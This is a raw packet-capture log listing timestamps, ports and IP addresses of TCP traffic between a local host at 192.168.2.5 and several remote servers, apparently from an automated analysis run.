Nov 17, 2024 03:42:41.029643059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029658079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029686928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029835939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029854059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029867887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029877901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029889107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029916048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029923916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.030087948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.030107021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.030138016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.030177116 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.030191898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.030270100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.030313969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.030364037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.038474083 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:41.038613081 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:41.040072918 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:41.040091038 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:41.064707994 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:41.080671072 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:41.084315062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.086982965 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:41.089243889 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:41.089312077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.089323997 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.089365959 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:41.089715004 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:41.089799881 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:41.089839935 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:41.090300083 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.090329885 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.091340065 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.092145920 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.092210054 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.092571020 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.092597961 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.093070030 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.093759060 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.093879938 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.094007015 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.094100952 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.094280958 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.094289064 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.094408035 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.095277071 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.095453024 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.095463991 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.096470118 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.096523046 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.096739054 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.096919060 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.096977949 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.097183943 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.097199917 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.097330093 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.097337008 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.098632097 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.098711967 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.099010944 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.099086046 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.099128962 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.099337101 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.099603891 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.099611998 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.099659920 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.100863934 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.100888968 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.102524996 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.102603912 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.102972031 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.103037119 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.103288889 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.103387117 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.103693008 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.103775024 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.103904963 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.103921890 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.104062080 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.104068995 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.139341116 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.142457008 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.143343925 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.154495955 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:41.157923937 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.191536903 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:41.191679001 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:41.191766024 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:41.191786051 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:41.196650982 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:41.196702957 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:41.196780920 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:41.196969032 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:41.196981907 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:41.221517086 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.221551895 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.221607924 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.221621990 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.222114086 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.222573996 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.222594023 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.226445913 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.226499081 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.226531029 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.226573944 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.227555037 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.227577925 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.230793953 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.230880976 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.230906010 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.231585026 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.231656075 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.231827021 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.231903076 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.232064009 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.233069897 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.233083010 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.233283997 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.233320951 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.233331919 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.233375072 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.233402967 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.233419895 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.233422041 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.233443022 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.233465910 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.240370989 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.240415096 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.240607023 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.240817070 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.240833998 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.241163015 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.241202116 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.241405010 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.241693020 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.241738081 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.242388010 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.242402077 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.242436886 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.242974997 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.242991924 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.243432045 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.243443012 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.244242907 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.244252920 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.285335064 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.285813093 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.285835981 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.286273956 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.286282063 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.336221933 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.336251974 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.336266994 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.336327076 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.336338997 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.336357117 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.336365938 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.336381912 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.336406946 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.339869022 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.342112064 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.342134953 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.342442036 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.343014002 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.343020916 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.343554974 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.343580961 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.344082117 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.344089031 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.368000031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368032932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368074894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368103981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368148088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368168116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368179083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368196964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368206978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368225098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368269920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368283987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368330002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368340015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368386984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368398905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368407965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368407965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368421078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368438959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368668079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368679047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368690014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368720055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368725061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368731976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368755102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368771076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.368982077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.368993044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369004011 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369033098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369043112 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.369066954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.369097948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369108915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369119883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369133949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369143009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369155884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.369184017 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.369565010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369575977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369586945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.369626999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.369626999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.424720049 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.424819946 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.424876928 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.440032959 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.440059900 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.440080881 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.440090895 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.453259945 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.453285933 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.453325033 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.453337908 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.453366041 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.453387022 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.453485966 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.470242023 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.470412970 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.470783949 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.472524881 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.473295927 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.473458052 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.481851101 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.481872082 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.482311010 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.482321024 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.484539032 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.484569073 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.484625101 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.484632015 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.486991882 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487001896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487014055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487025976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487036943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487044096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.487047911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487098932 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.487106085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487138987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.487139940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.487191916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.497068882 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.497119904 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.497304916 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.501396894 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:41.501907110 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:41.501929998 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:41.502444029 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:41.508943081 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:41.509082079 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:41.509170055 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:41.518301010 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.518317938 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.520495892 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.520536900 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.520749092 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.521265984 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.521276951 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.521939993 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.521970034 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.522113085 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.522239923 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.522252083 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.527066946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527091026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527102947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527183056 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.527184010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.527204990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527215958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527226925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527262926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.527282000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527292967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527304888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527318001 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.527323961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527345896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.527369976 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.527578115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527642965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527653933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527664900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527674913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.527690887 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.527718067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528002024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528013945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528027058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528038025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528048992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528059959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528059959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528072119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528081894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528083086 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528119087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528119087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528395891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528408051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528419018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528429985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528440952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528454065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528482914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528728962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528739929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528749943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528764963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528769016 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528775930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528788090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.528803110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.528831005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.529095888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.529107094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.529117107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.529134989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.529134989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.529148102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.529153109 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.529186010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.555327892 CET	443	49885	108.156.211.19	192.168.2.5
